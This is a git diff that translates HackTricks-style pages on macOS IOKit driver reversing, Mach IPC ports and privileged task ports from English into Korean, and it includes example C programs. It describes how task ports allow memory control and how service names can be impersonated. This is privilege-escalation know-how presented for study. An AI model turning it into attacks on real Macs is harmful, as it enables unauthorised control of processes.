IOObjectRelease(service); - IOObjectRelease(iter); - return -1; - } +// Open a connection to the service +io_connect_t connect; +kr = IOServiceOpen(service, mach_task_self(), 0, &connect); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to open service"); +IOObjectRelease(service); +IOObjectRelease(iter); +return -1; +} - // Call a method on the service - // Assume the method has a selector of 0, and takes no arguments - kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to call method"); - } +// Call a method on the service +// Assume the method has a selector of 0, and takes no arguments +kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to call method"); +} - // Cleanup - IOServiceClose(connect); - IOObjectRelease(service); - IOObjectRelease(iter); - } - return 0; +// Cleanup +IOServiceClose(connect); +IOObjectRelease(service); +IOObjectRelease(iter); +} +return 0; } ``` +다른 **`IOConnectCallScalarMethod`** 외에도 **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**와 같은 IOKit 함수를 호출하는 데 사용할 수 있는 **다른** 함수가 있습니다. -There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... +## 드라이버 진입점 리버싱 -## Reversing driver entrypoint +예를 들어 [**펌웨어 이미지(ipsw)**](./#ipsw)에서 이를 얻을 수 있습니다. 그런 다음 좋아하는 디컴파일러에 로드하세요. -You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler. - -You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function: +이 호출을 수신하고 올바른 함수를 호출하는 드라이버 함수인 **`externalMethod`** 함수를 디컴파일하는 것으로 시작할 수 있습니다:
-That awful call demagled means: - +그 끔찍한 호출의 디매글은 다음을 의미합니다: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Note how in the previous definition the **`self`** param is missed, the good definition would be: - +이전 정의에서 **`self`** 매개변수가 누락된 점에 유의하세요. 올바른 정의는 다음과 같습니다: ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388): - +실제 정의는 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388)에서 찾을 수 있습니다: ```cpp IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments, - const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, - OSObject * target, void * reference) +const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, +OSObject * target, void * reference) ``` - -With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types: +이 정보를 사용하여 Ctrl+Right -> `Edit function signature`를 다시 작성하고 알려진 유형을 설정할 수 있습니다:
-The new decompiled code will look like: +새로 디컴파일된 코드는 다음과 같이 보일 것입니다:
-For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it: +다음 단계에서는 **`IOExternalMethodDispatch2022`** 구조체가 정의되어 있어야 합니다. 이는 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176)에서 오픈 소스로 제공되며, 이를 정의할 수 있습니다:
-Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data: +이제 `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`를 따라 많은 데이터를 볼 수 있습니다:
-Change the Data Type to **`IOExternalMethodDispatch2022:`** +데이터 유형을 **`IOExternalMethodDispatch2022:`**로 변경합니다:
-after the change: +변경 후:
-And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements: +이제 여기에는 **7개의 요소로 구성된 배열**이 있습니다(최종 디컴파일된 코드를 확인하세요). 7개의 요소로 구성된 배열을 생성하려면 클릭합니다:
-After the array is created you can see all the exported functions: +배열이 생성된 후에는 모든 내보낸 함수를 볼 수 있습니다:
> [!TIP] -> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**... +> 기억하신다면, 사용자 공간에서 **내보낸** 함수를 **호출**하려면 함수의 이름을 호출할 필요가 없고, **선택자 번호**를 호출해야 합니다. 여기에서 선택자 **0**은 함수 **`initializeDecoder`**이고, 선택자 **1**은 **`startDecoder`**, 선택자 **2**는 **`initializeEncoder`**입니다... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index c62c79223..e4b8e3545 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -2,112 +2,107 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Mach messaging via Ports +## Mach 메시징을 통한 포트 -### Basic Information +### 기본 정보 -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. +Mach는 **작업**을 **자원 공유를 위한 가장 작은 단위**로 사용하며, 각 작업은 **여러 스레드**를 포함할 수 있습니다. 이러한 **작업과 스레드는 POSIX 프로세스와 스레드에 1:1로 매핑됩니다**. -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. +작업 간의 통신은 Mach Inter-Process Communication (IPC)을 통해 이루어지며, 단방향 통신 채널을 활용합니다. **메시지는 포트 간에 전송되며**, 이는 커널에 의해 관리되는 **메시지 큐**처럼 작용합니다. -Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object). +각 프로세스는 **IPC 테이블**을 가지고 있으며, 여기에서 **프로세스의 mach 포트**를 찾을 수 있습니다. mach 포트의 이름은 실제로 숫자(커널 객체에 대한 포인터)입니다. -A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear. +프로세스는 또한 **다른 작업**에 포트 이름과 일부 권한을 보낼 수 있으며, 커널은 **다른 작업의 IPC 테이블**에 이 항목을 나타나게 합니다. -### Port Rights +### 포트 권한 -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신의 핵심입니다. 가능한 **포트 권한**은 ([정의는 여기서](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. +- **수신 권한**: 포트로 전송된 메시지를 수신할 수 있게 해줍니다. Mach 포트는 MPSC(다중 생산자, 단일 소비자) 큐로, 시스템 전체에서 **각 포트에 대해 하나의 수신 권한만 존재할 수 있습니다**(파이프와는 달리, 여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 설명자를 가질 수 있습니다). +- **수신 권한**을 가진 작업은 메시지를 수신하고 **전송 권한을 생성**할 수 있어 메시지를 보낼 수 있습니다. 원래는 **자신의 작업만이 자신의 포트에 대한 수신 권한을 가집니다**. +- **전송 권한**: 포트로 메시지를 전송할 수 있게 해줍니다. +- 전송 권한은 **복제**될 수 있어, 전송 권한을 가진 작업이 권한을 복제하고 **세 번째 작업에 부여**할 수 있습니다. +- **일회성 전송 권한**: 포트로 하나의 메시지를 전송하고 나면 사라집니다. +- **포트 집합 권한**: 단일 포트가 아닌 _포트 집합_을 나타냅니다. 포트 집합에서 메시지를 제거하면 그 집합에 포함된 포트 중 하나에서 메시지가 제거됩니다. 포트 집합은 여러 포트에서 동시에 수신하는 데 사용될 수 있으며, Unix의 `select`/`poll`/`epoll`/`kqueue`와 유사합니다. +- **죽은 이름**: 실제 포트 권한이 아니라 단순한 자리 표시자입니다. 포트가 파괴되면 해당 포트에 대한 모든 기존 포트 권한이 죽은 이름으로 변환됩니다. -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**작업은 다른 작업에 SEND 권한을 전송할 수 있어**, 메시지를 다시 보낼 수 있게 합니다. **SEND 권한도 복제될 수 있어, 작업이 권한을 복제하고 세 번째 작업에 부여할 수 있습니다**. 이는 **부트스트랩 서버**라는 중개 프로세스와 결합되어 작업 간의 효과적인 통신을 가능하게 합니다. -### File Ports +### 파일 포트 -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. +파일 포트는 Mac 포트에서 파일 설명자를 캡슐화할 수 있게 해줍니다( Mach 포트 권한 사용). 주어진 FD에서 `fileport_makeport`를 사용하여 `fileport`를 생성하고, 파일포트에서 FD를 생성하려면 `fileport_makefd`를 사용합니다. -### Establishing a communication +### 통신 설정 -#### Steps: +#### 단계: -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. +언급된 바와 같이, 통신 채널을 설정하기 위해 **부트스트랩 서버**(**launchd** in mac)가 관여합니다. -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). +1. 작업 **A**가 **새 포트**를 초기화하고, 이 과정에서 **수신 권한**을 얻습니다. +2. 작업 **A**는 수신 권한의 보유자로서 **포트에 대한 전송 권한을 생성**합니다. +3. 작업 **A**는 **부트스트랩 서버**와 **연결**을 설정하고, **포트의 서비스 이름**과 **전송 권한**을 부트스트랩 등록이라는 절차를 통해 제공합니다. +4. 작업 **B**는 **부트스트랩 서버**와 상호작용하여 서비스 이름에 대한 부트스트랩 **조회**를 실행합니다. 성공하면, **서버는 작업 A로부터 받은 전송 권한을 복제하여 작업 B에 전송**합니다. +5. SEND 권한을 획득한 작업 **B**는 **메시지를 작성**하고 **작업 A로 전송**할 수 있습니다. +6. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **전송** 권한을 가진 새 포트를 생성하고, **전송 권한을 작업 A에 부여**하여 작업 B에 메시지를 보낼 수 있게 합니다(양방향 통신). -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +부트스트랩 서버는 작업이 주장하는 서비스 이름을 **인증할 수 없습니다**. 이는 **작업**이 잠재적으로 **모든 시스템 작업을 가장할 수 있음을 의미합니다**, 예를 들어 잘못된 **인증 서비스 이름을 주장하고 모든 요청을 승인하는 경우**입니다. -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. +그런 다음 Apple은 **시스템 제공 서비스의 이름**을 보안 구성 파일에 저장하며, 이 파일은 **SIP 보호** 디렉토리에 위치합니다: `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`. 각 서비스 이름과 함께 **연관된 바이너리도 저장됩니다**. 부트스트랩 서버는 이러한 서비스 이름 각각에 대해 **수신 권한을 생성하고 보유**합니다. -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +이러한 미리 정의된 서비스에 대해 **조회 프로세스는 약간 다릅니다**. 서비스 이름이 조회될 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다: -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). +- 작업 **B**가 서비스 이름에 대한 부트스트랩 **조회**를 시작합니다. +- **launchd**는 작업이 실행 중인지 확인하고, 실행 중이 아니면 **시작**합니다. +- 작업 **A**(서비스)는 **부트스트랩 체크인**을 수행합니다. 여기서 **부트스트랩** 서버는 전송 권한을 생성하고 이를 보유하며, **수신 권한을 작업 A에 전송**합니다. +- launchd는 **전송 권한을 복제하여 작업 B에 전송**합니다. +- 작업 **B**는 **수신** 권한과 **전송** 권한을 가진 새 포트를 생성하고, **전송 권한을 작업 A**(svc)에 부여하여 작업 B에 메시지를 보낼 수 있게 합니다(양방향 통신). -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +그러나 이 프로세스는 미리 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 원래 설명된 대로 작동하며, 이는 잠재적으로 가장할 수 있는 가능성을 허용할 수 있습니다. -### A Mach Message +### Mach 메시지 -[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: +[자세한 정보는 여기서 찾으세요](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +`mach_msg` 함수는 본질적으로 시스템 호출로, Mach 메시지를 전송하고 수신하는 데 사용됩니다. 이 함수는 전송할 메시지를 첫 번째 인수로 요구합니다. 이 메시지는 `mach_msg_header_t` 구조체로 시작해야 하며, 그 뒤에 실제 메시지 내용이 이어져야 합니다. 구조체는 다음과 같이 정의됩니다: ```c typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; +mach_msg_bits_t msgh_bits; +mach_msg_size_t msgh_size; +mach_port_t msgh_remote_port; +mach_port_t msgh_local_port; +mach_port_name_t msgh_voucher_port; +mach_msg_id_t msgh_id; } mach_msg_header_t; ``` +프로세스는 _**수신 권한**_을 가지고 있으면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로, **발신자**는 _**전송**_ 또는 _**일회성 전송 권한**_을 부여받습니다. 일회성 전송 권한은 단일 메시지를 전송하는 데만 사용되며, 그 후에는 무효가 됩니다. -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +쉬운 **양방향 통신**을 달성하기 위해 프로세스는 메시지의 **mach 메시지 헤더**에서 _응답 포트_ (**`msgh_local_port`**)로 지정된 **mach 포트**를 설정할 수 있으며, 여기서 **메시지 수신자**는 이 메시지에 대한 **응답을 보낼 수** 있습니다. **`msgh_bits`**의 비트 플래그는 이 포트에 대해 **일회성 전송** **권한**이 파생되고 전송되어야 함을 **지시**하는 데 사용될 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. +> 이와 같은 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용된다는 점에 유의하십시오 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로는 이전에 설명한 대로** 양방향 통신을 생성하기 위해 **다른 포트가 생성됩니다**. -The other fields of the message header are: +메시지 헤더의 다른 필드는 다음과 같습니다: -- `msgh_size`: the size of the entire packet. -- `msgh_remote_port`: the port on which this message is sent. -- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). -- `msgh_id`: the ID of this message, which is interpreted by the receiver. +- `msgh_size`: 전체 패킷의 크기. +- `msgh_remote_port`: 이 메시지가 전송되는 포트. +- `msgh_voucher_port`: [mach 바우처](https://robert.sesek.com/2023/6/mach_vouchers.html). +- `msgh_id`: 수신자가 해석하는 이 메시지의 ID. > [!CAUTION] -> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it. - -### Enumerate ports +> **mach 메시지는 \_mach 포트**\_를 통해 전송되며, 이는 mach 커널에 내장된 **단일 수신자**, **다수 발신자** 통신 채널입니다. **여러 프로세스**가 mach 포트에 **메시지를 전송**할 수 있지만, 언제든지 **단일 프로세스만 읽을 수** 있습니다. +### 포트 나열 ```bash lsmp -p ``` +이 도구는 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)에서 다운로드하여 iOS에 설치할 수 있습니다. -You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) +### 코드 예제 -### Code example - -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. +**보내는 사람**이 포트를 **할당**하고, 이름 `org.darlinghq.example`에 대한 **전송 권한**을 생성하여 **부트스트랩 서버**에 전송하는 방법에 주목하세요. 이때 보내는 사람은 해당 이름의 **전송 권한**을 요청하고 이를 사용하여 **메시지를 전송**했습니다. {{#tabs}} {{#tab name="receiver.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc receiver.c -o receiver @@ -118,66 +113,64 @@ Note how the **sender** **allocates** a port, create a **send right** for the na int main() { - // Create a new port. - mach_port_t port; - kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); - if (kr != KERN_SUCCESS) { - printf("mach_port_allocate() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_allocate() created port right name %d\n", port); +// Create a new port. +mach_port_t port; +kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +if (kr != KERN_SUCCESS) { +printf("mach_port_allocate() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_allocate() created port right name %d\n", port); - // Give us a send right to this port, in addition to the receive right. - kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); - if (kr != KERN_SUCCESS) { - printf("mach_port_insert_right() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_insert_right() inserted a send right\n"); +// Give us a send right to this port, in addition to the receive right. +kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); +if (kr != KERN_SUCCESS) { +printf("mach_port_insert_right() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_insert_right() inserted a send right\n"); - // Send the send right to the bootstrap server, so that it can be looked up by other processes. - kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_register() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_register()'ed our port\n"); +// Send the send right to the bootstrap server, so that it can be looked up by other processes. +kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_register() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_register()'ed our port\n"); - // Wait for a message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - mach_msg_trailer_t trailer; - } message; +// Wait for a message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +mach_msg_trailer_t trailer; +} message; - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_RCV_MSG, // Options. We're receiving a message. - 0, // Size of the message being sent, if sending. - sizeof(message), // Size of the buffer for receiving. - port, // The port to receive a message on. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Got a message\n"); +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_RCV_MSG, // Options. We're receiving a message. +0, // Size of the message being sent, if sending. +sizeof(message), // Size of the buffer for receiving. +port, // The port to receive a message on. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Got a message\n"); - message.some_text[9] = 0; - printf("Text: %s, number: %d\n", message.some_text, message.some_number); +message.some_text[9] = 0; +printf("Text: %s, number: %d\n", message.some_text, message.some_number); } ``` - {{#endtab}} {{#tab name="sender.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -188,67 +181,66 @@ int main() { int main() { - // Lookup the receiver port using the bootstrap server. - mach_port_t port; - kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_look_up() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_look_up() returned port right name %d\n", port); +// Lookup the receiver port using the bootstrap server. +mach_port_t port; +kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_look_up() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_look_up() returned port right name %d\n", port); - // Construct our message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - } message; +// Construct our message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +} message; - message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - message.header.msgh_remote_port = port; - message.header.msgh_local_port = MACH_PORT_NULL; +message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); +message.header.msgh_remote_port = port; +message.header.msgh_local_port = MACH_PORT_NULL; - strncpy(message.some_text, "Hello", sizeof(message.some_text)); - message.some_number = 35; +strncpy(message.some_text, "Hello", sizeof(message.some_text)); +message.some_number = 35; - // Send the message. - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_SEND_MSG, // Options. We're sending a message. - sizeof(message), // Size of the message being sent. - 0, // Size of the buffer for receiving. - MACH_PORT_NULL, // A port to receive a message on, if receiving. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Sent a message\n"); +// Send the message. +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_SEND_MSG, // Options. We're sending a message. +sizeof(message), // Size of the message being sent. +0, // Size of the buffer for receiving. +MACH_PORT_NULL, // A port to receive a message on, if receiving. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Sent a message\n"); } ``` - {{#endtab}} {{#endtabs}} -### Privileged Ports +### 특권 포트 -- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. - - Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries. -- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - - Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`. - - These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - - If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - - Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - - **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). +- **호스트 포트**: 프로세스가 이 포트에 대해 **Send** 권한을 가지면 **시스템**에 대한 **정보**를 얻을 수 있습니다 (예: `host_processor_info`). +- **호스트 특권 포트**: 이 포트에 대해 **Send** 권한이 있는 프로세스는 커널 확장을 로드하는 것과 같은 **특권 작업**을 수행할 수 있습니다. 이 권한을 얻으려면 **프로세스가 루트여야** 합니다. +- 또한, **`kext_request`** API를 호출하려면 **`com.apple.private.kext*`**와 같은 다른 권한이 필요하며, 이는 Apple 바이너리에게만 부여됩니다. +- **작업 이름 포트**: _작업 포트_의 비특권 버전입니다. 작업을 참조하지만 이를 제어할 수는 없습니다. 이를 통해 사용할 수 있는 유일한 것은 `task_info()`입니다. +- **작업 포트** (또는 커널 포트)**:** 이 포트에 대한 Send 권한이 있으면 작업을 제어할 수 있습니다 (메모리 읽기/쓰기, 스레드 생성 등). +- `mach_task_self()`를 호출하여 호출자 작업에 대한 이 포트의 **이름**을 얻습니다. 이 포트는 **`exec()`**를 통해서만 **상속**됩니다; `fork()`로 생성된 새로운 작업은 새로운 작업 포트를 얻습니다 (특별한 경우로, suid 바이너리에서 `exec()` 후 작업도 새로운 작업 포트를 얻습니다). 작업을 생성하고 그 포트를 얻는 유일한 방법은 `fork()`를 수행하면서 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)를 수행하는 것입니다. +- 포트에 접근하기 위한 제한 사항은 다음과 같습니다 (바이너리 `AppleMobileFileIntegrity`의 `macos_task_policy`에서): +- 앱이 **`com.apple.security.get-task-allow` 권한**을 가지고 있으면 **같은 사용자**의 프로세스가 작업 포트에 접근할 수 있습니다 (일반적으로 디버깅을 위해 Xcode에 의해 추가됨). **노타리제이션** 프로세스는 이를 프로덕션 릴리스에서 허용하지 않습니다. +- **`com.apple.system-task-ports`** 권한이 있는 앱은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 얻을 수 있습니다. 이전 버전에서는 **`task_for_pid-allow`**라고 불렸습니다. 이는 Apple 애플리케이션에만 부여됩니다. +- **루트는** **하드닝**된 런타임으로 컴파일되지 않은 애플리케이션의 작업 포트에 접근할 수 있습니다 (Apple에서 제공하지 않음). -### Shellcode Injection in thread via Task port +### 작업 